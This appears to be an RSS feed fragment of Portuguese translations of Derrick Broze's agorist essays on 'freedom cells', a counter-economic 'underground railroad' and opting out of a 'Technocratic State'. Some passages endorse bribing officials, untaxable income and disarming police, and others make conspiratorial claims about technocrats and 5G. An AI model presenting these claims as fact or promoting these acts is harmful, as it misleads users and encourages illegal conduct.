&lt;p>Se você gostaria de ver um exemplo mais complexo desses padrões de design todos juntos, tenho &lt;strong>&lt;a href="https://github.com/isislovecruft/ed25519-dalek/blob/9e44fb1c6e060bce9e54480ce1c7387d13c17b75/src/state.rs" target="_blank" rel="noopener noreferrer">um esboço de implementação&lt;/a>
&lt;/strong> do protocolo MSDL de &lt;strong>&lt;a href="https://eprint.iacr.org/2018/483" target="_blank" rel="noopener noreferrer">&amp;ldquo;Compact Multi-Signatures for Smaller Blockchains&amp;rdquo;&lt;/a>
&lt;/strong> de Boneh, Drijvers e Neven.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://blog.patternsinthevoid.net/implementing-as-safe-as-possible-misuse-resistant-cryptographic-libraries-part-i.html" target="_blank" rel="noopener noreferrer">Implementing As-Safe-As-Possible, Misuse-Resistant Cryptographic Libraries: Part I - Isis Agora Lovecruft&lt;/a>
&lt;/p></content:encoded></item><item><title>A comunidade contra-econômica: células de liberdade</title><link>https://cypherpunks.com.br/documentos/a-comunidade-contra-econ%C3%B4mica-c%C3%A9lulas-de-liberdade/</link><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-comunidade-contra-econ%C3%B4mica-c%C3%A9lulas-de-liberdade/</guid><description>Por meio da construção e do apoio a alternativas como redes locais de alimentos, serviços de saúde, grupos de defesa mútua e economias ponto a ponto e redes de comunicação, as CLs serão mais capazes de se desconectar e se desacoplar do Estado Tecnocrático. Visto que os grupos se tornam grandes o suficiente em número, torna-se bem possível …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="derrick-broze">Derrick Broze&lt;/h2>
&lt;p>Ao longo de seus escritos, Samuel Konkin se refere aos benefícios de conviver com uma comunidade agorista ou contra-econômica. Embora Konkin nunca tenha completado um esboço detalhado de como essa comunidade pode operar, ele fez algumas referências úteis. No esboço de Contra-Economia, sob o título &amp;ldquo;Capítulo Quinze: Psicologia Contra-Econômica&amp;rdquo;, Konkin escreveu:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Reforço mútuo — indo além da autossuficiência individual e da autoaceitação, o conceito de indivíduos trabalhando juntos contra-economicamente, desenvolvendo confiança e interdependência honesta, será finalmente desenvolvido (após aparecer brevemente em todo o livro). Além de relacionamentos e grupos de afinidade, chegamos logicamente à ideia de uma sub-sociedade ativa e/ou Movimento de Contra-Economistas — e isso nos leva à Parte II. &amp;quot;&lt;/p>
&lt;/blockquote>
&lt;p>Infelizmente, Konkin nunca escreveu a Parte 2 ou elaborou seu ponto de vista acerca da comunidade. A realidade é que, tenha você escolhido Segurar as Pontas ou Sair e Construir, a comunidade será necessária para sobreviver à Tecnocracia. Passei os últimos anos desenvolvendo o conceito de Células de Liberdade, que acredito que se encaixa perfeitamente com a visão contra-econômica. Células de Liberdade são grupos peer-to-peer compostos de sete a nove pessoas (sendo oito o ideal) que se organizam de forma descentralizada com o objetivo coletivo de afirmar a soberania dos membros do grupo por meio da resistência pacífica e da criação de instituições alternativas. As células de liberdade (CLs) podem ser vistas como um tipo muito específico de grupo de ajuda mútua, onde o agorismo e a contra-economia desempenham um papel fundamental. O nome vem como uma resposta à propaganda do Estado em torno de “Células do Terror”. Estou escolhendo conscientemente recuperar a linguagem e construir células que espalhem a liberdade. Além disso, os CLs agem como células em um corpo que realizam tarefas importantes individualmente, enquanto atendem aos objetivos do organismo maior. Desse ponto de vista, cada CL está desempenhando um papel vital na disseminação da atividade contra-econômica, enquanto faz parte da rede mais ampla que promoverá a troca de ideias e produtos entre diferentes células.&lt;/p>
&lt;p>O número de oito participantes foi extraído da pesquisa de Bob Podolsky e de seu livro &lt;em>Flourish!: An Alternative to Government and Other Hierarchies&lt;/em>. Podolsky é o pupilo do pesquisador John David Garcia, que passou vinte anos pesquisando como maximizar a criatividade de um grupo de pessoas trabalhando juntas em um projeto conjunto. Depois de realizar centenas de experimentos, ele criou um modelo otimizado baseado em grupos de oito, que chamou de octeto ou octólogo. A ideia é que a falta de indivíduos deixaria o grupo limitado em capacidade, mas com muitas pessoas o grupo fica atolado em desorganização e falta de foco. Podolsky recomenda a formação de octólogos compostos por quatro homens e quatro mulheres guiados por princípios éticos específicos. Embora as Células de Liberdade também sejam promovidas como grupos de oito pessoas colaborando juntas, elas diferem dos octólogos por estarem fortemente focadas na descentralização. Embora Bob Podolsky tenha delineado uma visão detalhada de como um octólogo deve operar, espero fornecer exemplos de aplicações para CLs sem dizer a outros CLs como operar. As necessidades de cada comunidade serão naturalmente diferentes. Além de um acordo geral para respeitar o direito de cada um de estar livre de coerção, acredito que os CLs não devem ser monopolizados pela visão de uma única célula. Aconselho o leitor a lembrar que essas ideias são um guia e não a palavra final sobre as possibilidades literalmente ilimitadas.&lt;/p>
&lt;p>No início, os indivíduos podem trabalhar juntos para cumprir metas, como cada membro do grupo tendo três meses de comida armazenável, comunicação criptografada, um plano de &lt;em>bug out&lt;/em> (ou Sair e Construir) e garantir que os participantes tenham acesso a armas de fogo (ou alguma forma de autodefesa) e saber como usá-las com segurança e eficácia. Ao mesmo tempo, os membros da célula se tornam prontamente disponíveis para prestar ajuda mútua a sua célula em qualquer forma que seja necessária. Após estabelecer sete — nove pessoas em uma CL, cada indivíduo deve ser incentivado a ir por conta própria e começar outra CL, especialmente se os membros originais não morarem próximos uns dos outros. Morar razoavelmente perto um do outro permitirá um tempo de resposta rápido em situações de emergência. Mais uma vez, todos os membros das CLs devem ser incentivados a iniciar células adicionais.&lt;/p>
&lt;p>Eventualmente, a célula original seria conectada a sete ou nove células adicionais através de membros individuais para um total de 70–90 pessoas. Imagine a força e a influência que essas células poderiam exercer uma vez conectadas no mundo digital via &lt;a href="https://freedomcells.org" target="_blank" rel="noopener noreferrer">FreedomCells.org&lt;/a>
e no mundo físico, sempre que possível. A criação da &lt;em>Freedom Cell Network&lt;/em> também serve como uma rede social para viajantes que buscam fazer negócios na contra-economia com outras pessoas com ideias semelhantes. Por meio da construção e do apoio a alternativas como redes locais de alimentos, serviços de saúde, grupos de defesa mútua e economias ponto a ponto e redes de comunicação, as CLs serão mais capazes de se desconectar e se desacoplar do Estado Tecnocrático. Visto que os grupos se tornam grandes o suficiente em número, torna-se bem possível que os participantes optem pela auto-exclusão em massa para garantir suas liberdades.&lt;/p>
&lt;p>Este é o modelo que seguimos dentro da comunidade ativista do &lt;a href="http://thehoustonfreethinkers.com/" target="_blank" rel="noopener noreferrer">The Houston Free Thinkers&lt;/a>
e no espaço da comunidade &lt;a href="https://www.youtube.com/playlist?list=PL1Tr4mVOuUaCw5UOYrMx_hCHVPjcsK9B_" target="_blank" rel="noopener noreferrer">The Free Thinker House.&lt;/a>
Começamos construindo jardins e vendendo as colheitas por meio da comunidade &lt;a href="https://nextdoor.com/" target="_blank" rel="noopener noreferrer">Nextdoor.&lt;/a>
Também vendíamos suco e chá de &lt;em>kombucha&lt;/em> feitos com frutas colhidas em árvores de vizinhos que entendiam nossos objetivos. Começamos com um pequeno grupo de cerca de três a quatro pessoas se reunindo e discutindo os objetivos e temas de nossa célula. O objetivo é ter habilidades e conhecimentos difundidos por todo o grupo. Dessa forma, se uma pessoa sai do grupo, o conhecimento não é retirado da célula. Por exemplo, saber que cada membro da célula pode realizar &lt;em>RCP&lt;/em>, usar comunicações criptografadas, disparar uma arma ou transmitir a mensagem contra-econômica pode ser importante para sua célula. Obviamente, certos indivíduos serão mais qualificados ou bem informados em algumas áreas, mas existem habilidades e informações básicas que devem ser comuns a todos os membros da célula.&lt;/p>
&lt;p>Nosso grupo também usou a estrutura para educar uns aos outros sobre tópicos de interesse específicos. Talvez a sua CL se reúna e concorde em aprender tudo o que está disponível sobre permacultura ou um conceito filosófico específico. Você pode então escolher dividir o tópico entre sua célula e retornar duas semanas depois para educar um ao outro. Talvez o seu celular adira ao aplicativo &lt;a href="https://getcell411.com/" target="_blank" rel="noopener noreferrer">Cell411&lt;/a>
e responda ao alerta de emergência em sua comunidade. Várias células poderiam se unir para vigiar ou resistir ativamente e desarmar policiais violentos ou outros agentes do Estado. Uma célula de liberdade poderia se conectar com outras células para uma ação de jardinagem de guerrilha secretamente organizada. Com a enxurrada constante de notícias falsas vindas da mídia oficial, uma CL poderia rapidamente pesquisar e desmascarar a propaganda recebida. As CLs podem organizar redes de intercâmbio alternativas que incentivem os artesãos e empresários locais a vender seu artesanato não regulamentado e a aceitar moedas alternativas. Em um cenário “Merda no Ventilador”, as CLs poderiam ter pré-arranjado &lt;a href="https://sobrevivencialismo.com/2012/03/26/bug-out-locations-bols-qual-a-sua-importancia-13/" target="_blank" rel="noopener noreferrer">BOLs&lt;/a>
com estoque de suprimentos. Se várias CLs estivessem igualmente preparadas, você agora se encontraria com uma pequena comunidade de indivíduos com poder, em vez de ser forçado a se defender sozinho.&lt;/p>
&lt;p>Quando se trata de lidar com a Tecnocracia, os membros da CL podem se comprometer a limitar a quantidade de informações comunicadas por meio da tecnologia digital, guardando conversas importantes para o face a face. Além disso, os membros podem compartilhar dicas para fugir dos olhos vigilantes do Estado. No entanto, o valor real de usar Células de Liberdade para construir a comunidade contra-econômica é a força dos números. Se sua decisão de não adotar a biometria obrigatória ou o crédito social passar de desaprovada para ilegal, você será punido por optar por não participar. Como observamos anteriormente, o objetivo dos esquemas de crédito social é arquitetar socialmente a sociedade para serem seguidores cegos, burros e obedientes da Tecnocracia. O Estado vai usar a Tecnocracia para divulgar a ideia de que quem opta por sair é o problema. Mesmo o individualista mais estridente achará difícil sobreviver &amp;ldquo;fora da grade&amp;rdquo; uma vez que a Tecnocracia esteja completa. Obviamente, a pontuação de crédito social também desencoraja amigos e familiares de se associarem com aqueles que estão na lista negra.&lt;/p>
&lt;p>A solução é colaborar com outras pessoas e famílias que optam por não se submeter. Os motivos para a exclusão variam de pessoa para pessoa — alguns podem optar por evitar a vacinação obrigatória, outros para praticar suas crenças religiosas em paz, enquanto outros ainda sairão para proteger a privacidade de sua futura progênie. Francamente, se a escolha for obediência obrigatória ao &lt;em>Smart Grid&lt;/em> ou uma vida &amp;ldquo;fora&amp;rdquo; da sociedade dominante, será necessário um esforço coordenado de muitos indivíduos determinados para criar um mundo de comunidades em rede onde os indivíduos podem prosperar, criar suas famílias, conduzir negócios e trocar enquanto ainda vivem livres. Acredito que o conceito de CLs pode ajudar aqueles de nós que farão qualquer coisa para se libertar da teia da Tecnocracia.&lt;/p>
&lt;p>Para concluir, ofereço essas “12 dicas para construir células de liberdade” como ponto de partida para lançar seu grupo. Adapte-os às necessidades específicas de sua comunidade:&lt;/p>
&lt;ol>
&lt;li>Entenda sua motivação — acho valioso para todas as pessoas que estão pensando em iniciar uma célula/círculo/hub saber por que estão perseguindo tal objetivo. Quais são suas motivações e interesses? Saber disso antes de iniciar um grupo economizará seu tempo. Encontrar maneiras de sair da Tecnocracia é uma meta óbvia, mas o que mais o motiva?&lt;/li>
&lt;li>Identifique os candidatos potenciais — Eles são mentalmente, fisicamente e espiritualmente corretos para seus objetivos?&lt;/li>
&lt;li>Discuta temas comuns — Quais são as forças motrizes que unem o grupo?&lt;/li>
&lt;li>Identifique pontos fortes e fracos — dê uma olhada honesta nos pontos fortes e fracos de cada indivíduo, bem como do grupo como um todo.&lt;/li>
&lt;li>Avalie o nível de liberdade desejado em relação à segurança — Cada indivíduo pode ter um nível de liberdade desejado diferente e, como tal, terá objetivos e aceitabilidade de riscos diferentes. Quando se trata de Tecnocracia, é especialmente importante lembrar disso. Quão livre você realmente deseja ser? Quanta privacidade você deseja manter? O que você fará para atingir esse objetivo?&lt;/li>
&lt;li>Defina metas de curto e longo prazo — O que sua célula pode realizar em três meses? Seis meses? Um ano? Estabeleçam metas como um grupo e se responsabilizem mutuamente.&lt;/li>
&lt;li>Treinamento de atenção plena — incorpore práticas como Treinamento de comunicação não violenta e meditação em grupo em sua célula.&lt;/li>
&lt;li>Atingir metas — documente cada meta atingida com sucesso pela célula ou membros individuais.&lt;/li>
&lt;li>Educação/Comunicação Contínua em Grupo — Expanda continuamente os conhecimentos, habilidades e suprimentos de sua célula.&lt;/li>
&lt;li>Promova/Venda Metas e Realizações — Use o poder da mídia social (quando seguro) e do marketing para que o mundo saiba o quanto você é mais próspero na contra-economia.&lt;/li>
&lt;li>Identifique estratégias para a criação de renda/independência — Aproveite o poder e os números de sua célula para criar uma renda contra-econômica que não pode ser tributada pelo Estado.&lt;/li>
&lt;li>Crie uma rede com outras células — A chave para se excluir do Estado Tecnocrático é construir a comunidade contra-econômica. Isso significa não apenas sua comunidade imediata de aliados, mas a rede maior de células em sua cidade, estado/província, nação e a comunidade global. Depende de você fazer um esforço para se relacionar com outros ativistas e pensadores livres.&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Fonte: BROZE, Derrick; How to Opt-Out of the Technocratic State - 21/01/2020&lt;/p></content:encoded></item><item><title>A Ferrovia Subterrânea Contra-Econômica</title><link>https://cypherpunks.com.br/documentos/a-ferrovia-subterr%C3%A2nea-contra-econ%C3%B4mica/</link><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-ferrovia-subterr%C3%A2nea-contra-econ%C3%B4mica/</guid><description>Nos últimos dois anos, tenho me concentrado no desenvolvimento de soluções potenciais para libertar corações e mentes das garras da Tecnocracia. Cheguei à conclusão de que qualquer caminho que você escolher para tomar as devidas precauções e planos de emergência é necessário. O clichê espere pelo melhor, prepare-se para o pior se aplica …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="derrick-broze">Derrick Broze&lt;/h2>
&lt;p>Nos últimos dois anos, tenho me concentrado no desenvolvimento de soluções potenciais para libertar corações e mentes das garras da Tecnocracia. Cheguei à conclusão de que qualquer caminho que você escolher para tomar as devidas precauções e planos de emergência é necessário. O clichê espere pelo melhor, prepare-se para o pior se aplica aqui. Embora eu tenha oferecido sugestões para aqueles que optam por segurar as pontas, é imperativo que alguns indivíduos escolham Sair e Construir no caso das &amp;ldquo;pontas&amp;rdquo; se soltarem. Esses indivíduos com visão de futuro podem escolher se mudar das grandes cidades para áreas rurais com práticas menos invasivas ou se mudar para uma região próxima com relativamente mais liberdade e privacidade. O objetivo é estabelecer uma rede de comunidades livres que possam servir de refúgio para refugiados do Estado Tecnocrático. Isso é o que chamo de &amp;ldquo;Ferrovia Subterrânea Contra-econômica&amp;rdquo; ou simplesmente Ferrovia Subterrânea.&lt;/p>
&lt;p>Esta Ferrovia Subterrânea Contra-Econômica é inspirada na &amp;ldquo;Ferrovia Subterrânea&amp;rdquo; original da era colonial americana. No final dos anos 1700, ex-escravos, abolicionistas e civis simpáticos formaram uma rede descentralizada de casas seguras que permitiam que os escravos escapassem da escravidão. A maioria dos escravos libertos seguiu para o norte, para o Canadá, mas também havia casas seguras ajudando as pessoas a fugir para o sul para o México. Estima-se que cerca de 1.000 escravos escaparam por ano entre 1850 e 1860. A Ferrovia Subterrânea era inerentemente contra-econômica porque, sob a Lei do Escravo Fugitivo de 1793, a aplicação da lei em estados livres era necessária para ajudar os proprietários de escravos a recapturar os escravos fugitivos. Felizmente, muitos funcionários tiveram o bom senso de ignorar a lei injusta e ajudar ex-escravos a chegar à liberdade. Esta foi uma decisão consciente de violar as demandas do Estado e trocar o risco por um benefício percebido.&lt;/p>
&lt;p>Nas notas de seus capítulos inacabados &amp;ldquo;Contra-Economia Contrabandista&amp;rdquo; e &amp;ldquo;Contra-Economia Humana&amp;rdquo;, SEK3 menciona a Ferrovia Subterrânea como um exemplo de contrabando de pessoas. Em &amp;ldquo;Contra-Economia Contrabandista&amp;rdquo;, ele escreveu: &amp;ldquo;Contrabando de &amp;lsquo;pessoas&amp;rsquo; é introduzido, para ser usado no capítulo &amp;lsquo;Contra-Economia Humana&amp;rsquo;, junto da ferrovia subterrânea do período da Guerra Civil.&amp;rdquo;&lt;/p>
&lt;p>É importante notar que existe uma diferença entre contrabandear uma pessoa voluntariamente e o tráfico humano involuntário feito sob ameaça de violência. O contrabando normalmente envolve a escolha do transporte de mercadorias consideradas ilegais pelo Estado ou a evasão de impostos sobre o transporte dessas mercadorias. O contrabando de pessoas ou humanos envolve um indivíduo pagando outro para ser contrabandeado através das fronteiras internacionais. Embora o contrabando normalmente envolva alguma forma de acordo contratual que termina na chegada ao destino, o tráfico humano envolve o uso de força, abdução, fraude ou coerção. Isso é frequentemente usado para induzir o trabalho forçado ou a exploração sexual. Simplificando, o contrabando torna-se tráfico quando o elemento da força ou coerção é introduzido. Segundo a teoria contra-econômica de Konkin, o contrabando de pessoas é legítimo porque não envolve o início da violência ou coerção. Em &amp;ldquo;Contra-Economia Humana&amp;rdquo; SEK3 fornece um pouco mais de detalhes de sua visão:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Os escravos da Ferrovia Subterrânea moviam-se contra-economicamente, variantes dela ainda existem; contra-economia de proteção a refugiados para libertar as pessoas de uma maior tirania, os grupos minoritários são abordados aqui primeiro, como eles sobrevivem em sociedades hostis e as sub-sociedades que eles formam, em geral, esmagadoramente contra-econômicos&amp;hellip; &amp;quot;&lt;/p>
&lt;/blockquote>
&lt;p>Embora não tenhamos o trabalho concluído, é interessante que Konkin mencione grupos minoritários e &amp;ldquo;como eles sobrevivem em sociedades hostis e as sub-sociedades que eles formam&amp;rdquo;. Na era do Estado Tecnocrático, aqueles que optarem por se auto-excluir serão os grupos minoritários sobreviventes em sociedades hostis. As sub-sociedades que formamos podem ser as comunidades livres que mantêm a chama da liberdade acesa no futuro. Imagine a &lt;em>Freedom Cell Network&lt;/em> se expandindo para ambientes urbanos e rurais em todo o mundo. Aqueles que ficam nas cidades fazem o que podem para combater a Tecnocracia e educar os outros sobre os perigos. Aqueles que saem e constroem comunidades que optam por não receber vários níveis de tecnologia invasiva (com base em suas preferências) e também educam outras pessoas sobre os benefícios da desconexão. As duas estratégias funcionam juntas para extrair o máximo possível de mentes da matrix tecnocrática.&lt;/p>
&lt;p>Independentemente de você der ou não valor para a teoria contra-econômica, há lições práticas a serem aprendidas com a ferrovia subterrânea. Os indivíduos que optaram por abrir suas casas para escravos fugitivos decidiram consciente de arriscar serem capturados e aprisionados para poderem ajudar outro ser humano. A polícia e os funcionários do governo que desobedeceram ao Estado aderiram à contra-economia quando perceberam que fazer o que era certo era mais importante do que fazer o que era legal. Os aliados que contrabandearam ex-escravos através das fronteiras internacionais também arriscaram sua liberdade por uma causa justa. Essas são as mesmas decisões que acredito que muitos de nós enfrentaremos nos próximos anos, à medida que o Estado Tecnocrático continuar a crescer.&lt;/p>
&lt;p>Os indivíduos que escolherem Sair e Construir agora podem comprar terras, construir moradias e lançar as bases de uma sociedade mais livre. Embora isso inicialmente sirva para sustentar suas próprias famílias, se a merda bater no ventilador, a Ferrovia Subterrânea ajudará escravos da Tecnocracia a fugir para essas comunidades. Este é o papel que estou escolhendo assumir. Não acredito que meu local de nascimento (Estados Unidos) seja recuperável. Não vejo isso como abandonar o navio ou perder as esperanças, mas sim, conscientemente, escolher construir o futuro que desejo, com o entendimento de que outros podem precisar de ajuda em um futuro próximo. Acredito que saindo da cidade, mudando-me para uma região menos invasiva do mundo e construindo em terra, encontrarei minha paz interior e terei a oportunidade de ajudar os outros. Essa pode não ser a função específica que você escolheu, mas existem outras maneiras pelas quais cada um pode ajudar.&lt;/p>
&lt;p>Como na Ferrovia Subterrânea original, precisaremos de indivíduos solidários dentro da sociedade hostil que estejam dispostos a abrigar e transportar aqueles que procuram segurança. Precisaremos de funcionários de baixo escalão do Estado dispostos a aceitar suborno ou simplesmente fechar os olhos à Ferrovia Subterrânea Contra-Econômica. Precisaremos de hackers &lt;em>&amp;ldquo;White Hat&amp;rdquo;&lt;/em> dispostos a criar ferramentas tecnológicas para combater os olhos e ouvidos onipresentes da rede inteligente. Precisaremos de indivíduos que deixem para trás conforto para desenvolver a rede de comunidades livres que em breve poderá abrigar refugiados da Tecnocracia. Finalmente, precisaremos de organizadores que possam ajudar a conectar cada um desses indivíduos da maneira mais descentralizada possível.&lt;/p>
&lt;p>Não pretendo saber exatamente como essa ferrovia subterrânea contra-econômica se desenvolverá. A única coisa que sei é que deve se desenvolver o mais rápido possível. Se escolhermos ficar parados enquanto o Estado Tecnocrático aparece, estaremos abandonando as futuras gerações de nossa família humana. Se você está lendo estas palavras, você tem a oportunidade de fazer parte da solução. A única maneira de superarmos a distopia digital é deixar de lado as pequenas diferenças e construir o mundo que sabemos ser possível.&lt;/p>
&lt;p>&lt;strong>Nota do Tradutor&lt;/strong>: Hackers &amp;lsquo;White Hat&amp;rsquo; são os hackers do bem, que seguem os princípios da Ética Hacker. Num sentido anarquista, pode-se dizer que eles possuem um forte compromisso com a liberdade e com o apoio mútuo.&lt;/p>
&lt;hr>
&lt;p>Fonte: BROZE, Derrick; How to Opt-Out of the Technocratic State - 21/01/2020&lt;/p></content:encoded></item><item><title>Considerações Finais sobre como Sobreviver à Distopia Digital</title><link>https://cypherpunks.com.br/documentos/consideracoes-finais-sobre-como-sobreviver-a-distopia-digital/</link><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/consideracoes-finais-sobre-como-sobreviver-a-distopia-digital/</guid><description>A liberdade se expandirá para todas as terras da Terra ou os tiranos continuarão a reinar? Não pretendo saber exatamente como será o futuro, mas sei que o resultado será determinado por aqueles que decidirem se apresentar e agir. O direcionamento vai depender dos valores e princípios de quem se engaja e busca soluções. Aqueles que ficam à …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;h1 id="considerações-finais-sobre-como-sobreviver-à-distopia-digital">Considerações Finais sobre como Sobreviver à Distopia Digital&lt;/h1>
&lt;h2 id="derrick-broze">Derrick Broze&lt;/h2>
&lt;p>No final de 2009, comecei a questionar o mundo ao meu redor e a me perguntar quem estava comandando o show. Consumi todo o material que pude encontrar sobre a história do governo, dos bancos, da classe dominante e do poder. Por um momento, fiquei convencido de que o fim do mundo, um colapso do governo, um estado policial ou algo assim estava chegando. Com o tempo, meus medos foram diminuindo à medida que olhei com mais razão para o mundo ao meu redor e também observei os muitos avanços positivos que estavam ocorrendo naquele mundo. Infelizmente, enquanto escrevo estas palavras, meus temores de uma desgraça iminente voltam. Só agora vejo a ameaça iminente do que estou chamando de Estado Tecnocrático.&lt;/p>
&lt;p>Este estado é diferente de qualquer outro visto anteriormente na história da humanidade. Existe uma classe dominante totalitária e elitista, composta de tecnocratas e cientistas loucos, combinada com tecnologia digital não disponível aos regimes totalitários anteriores. Isso não é um bom presságio para o futuro da liberdade para todas as pessoas. A concepção moderna de liberdade tem apenas 300 anos e parece que a humanidade pode ter problemas para manter e expandir esse princípio necessário. Aparentemente, a humanidade ainda está decidindo se conceitos como privacidade e liberdade continuarão a prosperar.&lt;/p>
&lt;p>A liberdade se expandirá para todas as terras da Terra ou os tiranos continuarão a reinar? Não pretendo saber exatamente como será o futuro, mas sei que o resultado será determinado por aqueles que decidirem se apresentar e agir. O direcionamento vai depender dos valores e princípios de quem se engaja e busca soluções. Aqueles que ficam à margem serão apenas engrenagens da máquina de outra pessoa. O tempo para a passividade chegou ao fim. Se você não quer perder a privacidade e, eventualmente, toda a liberdade, você deve agir para proteger a si mesmo e seus entes queridos.&lt;/p>
&lt;p>A Tecnocracia está se manifestando e a cada dia fica mais claro que as massas vão engolir o veneno sem hesitar. Optar por não participar das conveniências e prazeres da rede inteligente não será uma escolha popular. Dizer não aos sistemas biométricos obrigatórios envolverá algum nível de risco. No entanto, em breve pode ser necessário tomar essas decisões para preservar sua privacidade e liberdade. Tentei esboçar porque acredito que a teoria da Contra-Economia de Samuel E. Konkin pode ser aplicada à batalha contra o estado totalitário de vigilância. A contra-economia fornece uma base filosófica para o simples ato de dizer &amp;ldquo;não&amp;rdquo; às regras de estado imorais ou injustas e fazer o que for preciso para prosperar.&lt;/p>
&lt;p>Os fatos estão todos aí: quando o Estado se move para proibir uma atividade ou uma substância, ele cria uma contra-economia de pessoas que escolheram voluntariamente violar as demandas do Estado e fazer o que acharem necessário para sobreviver e prosperar. Essa contra-economia é uma das maiores economias do mundo e nenhuma parte dela é controlada por uma autoridade centralizada. O poder da Contra-Economia está em reconhecer o potencial de uma exclusão em massa de sistemas que não se alinham com nossos valores e são inerentemente imorais. Assim como na &lt;a href="https://cypherpunks.com.br/documentos/a-ferrovia-subterr%C3%A2nea-contra-econ%C3%B4mica/">Ferrovia Subterrânea&lt;/a>
original, estou pedindo a criação de casas seguras, o transporte de refugiados e a objeção consciente às leis que tentam criminalizar aqueles que ajudam os fugitivos. Os &amp;ldquo;condutores&amp;rdquo; da Ferrovia Subterrânea original fizeram o que sabiam ser certo porque importava mais do que seguir cegamente palavras escritas em pedaços de papel.&lt;/p>
&lt;p>Devemos nos inspirar nesse exemplo de atividade contra-econômica e conscientemente optar por sair da rede de controle tecnocrático. Se formarmos &lt;a href="https://cypherpunks.com.br/documentos/a-comunidade-contra-econ%C3%B4mica-c%C3%A9lulas-de-liberdade/">Células de Liberdade&lt;/a>
que promovem a atividade contra-econômica e encorajam o ceticismo em relação à Tecnocracia, podemos ter a chance de formar uma sociedade competitiva de comunidades livres que optaram por rejeitar vários níveis de tecnologia digital invasiva. Não podemos enfrentar esta tarefa monumental sozinhos. É de extrema importância que encontremos uma maneira de formar alianças e coalizões no interesse de salvar nossa liberdade coletiva.&lt;/p>
&lt;p>Acredito que a exclusão do Estado Tecnocrático deve ser acompanhada pela exclusão do Complexo Militar-Industrial (CMI), do sistema bancário central, do sistema escolar, do complexo da mídia corporativa e do complexo farmacêutico. Isso não será fácil ou mesmo possível para todas as pessoas em todas as situações. Faça o que puder, onde puder. Consulte &lt;a href="https://cypherpunks.com.br/documentos/agorismo-vertical-horizontal/">Agorismo Vertical e Horizontal&lt;/a>
quando precisar de ideias para se auto-excluir de uma ampla variedade de instituições e organizações que não representam seus interesses. Também recomendo passar um tempo revisando minhas explicações sobre as estratégias de &lt;a href="https://cypherpunks.com.br/documentos/contra-economia-na-era-digital/">Segurar as Pontas e Sair e Construir&lt;/a>
para ver onde você acha que seu caminho pode levá-lo.&lt;/p>
&lt;p>Em última análise, cabe a cada indivíduo decidir seu futuro e a totalidade de cada uma de nossas escolhas definirá o caminho para toda a humanidade. Tentei entender como motivar outras pessoas a agir e descobri que liderar pelo exemplo é a melhor maneira de inspirar outras pessoas. Não precisamos todos seguir exatamente o mesmo caminho para alcançar o sucesso. Na verdade, quanto mais diversificado for o campo de indivíduos que empregam a ética contra-econômica, melhor será para nós. Cada um de nós será inspirado e motivado por diferentes estímulos, e cada um de nós alcançará e inspirará pessoas diferentes.&lt;/p>
&lt;p>Não apenas todos nós somos motivados de forma diferente, mas nossos hábitos e estilos de vida também irão moldar nossa capacidade de sermos livres do Estado Tecnocrático. O nível de privacidade e liberdade que você manterá nos próximos anos será decidido por sua disposição de mudar, se adaptar e abandonar hábitos que enfraquecem sua capacidade de se livrar de sistemas de opressão. Essa luta entre o que você quer (liberdade) e suas ações (uma variável dependente de você) decide se seus desejos se tornarão realidade ou permanecerão uma fantasia.&lt;/p>
&lt;p>&lt;strong>Nível de Liberdade Desejado + Disposição para Mudar = Sua Experiência Real de Liberdade&lt;/strong>&lt;/p>
&lt;p>Eu chamo isso de Fórmula da Liberdade – uma equação simples em que seu nível de liberdade desejado, mais sua disposição de mudar e se adaptar equivalem a sua experiência de liberdade e privacidade. Para determinar o melhor caminho para você mesmo, é importante entender quais são seus objetivos e como é sua visão ideal de liberdade e privacidade. Esta é a primeira parte da fórmula. Só depois de identificar claramente o que quer e o que não quer, você pode começar a perguntar o que está disposto a fazer para atingir esse objetivo. Embora alguns possam chamar isso de sacrifício, a realidade é que há muito tempo trocamos nossa inestimável privacidade e liberdade por conveniência e prazer. Você valoriza a conveniência de pular a fila no aeroporto em troca de sua impressão facial mais do que valoriza a privacidade? Vale a pena perder a privacidade apenas para fazer o download dos aplicativos e tendências mais recentes?&lt;/p>
&lt;p>Ao imaginar as respostas a essas perguntas, peço humildemente que pare um momento para considerar as consequências da apatia e da complacência. As gerações futuras nunca foram mais dependentes daqueles que vivem hoje para corrigir o curso da humanidade. Chegamos ao ponto em que as crianças estão crescendo sem a noção de um mundo sem Internet, sem smartphones e sem uma rede inteligente. Provavelmente, essas gerações não terão uma compreensão verdadeira do valor e da importância da privacidade porque estão sendo criadas em uma cultura e época em que a privacidade dificilmente é uma preocupação. À medida que a Inteligência Artificial melhora, o Smart Grid 5G entra no ar e a Internet das Coisas surge, enfrentaremos decisões difíceis em relação à privacidade. Se escolhermos ser aqueles que planejaram com antecedência, optaram por não participar e formarmos comunidades livres, podemos deixar às gerações futuras um mundo que respeite os princípios de liberdade e privacidade. Embora esteja me faltando otimismo ultimamente, acredito que ainda há tempo para lançar as bases para a Ferrovia Subterrânea Contra-Econômica e construir o mundo melhor que sabemos ser possível.&lt;/p>
&lt;hr>
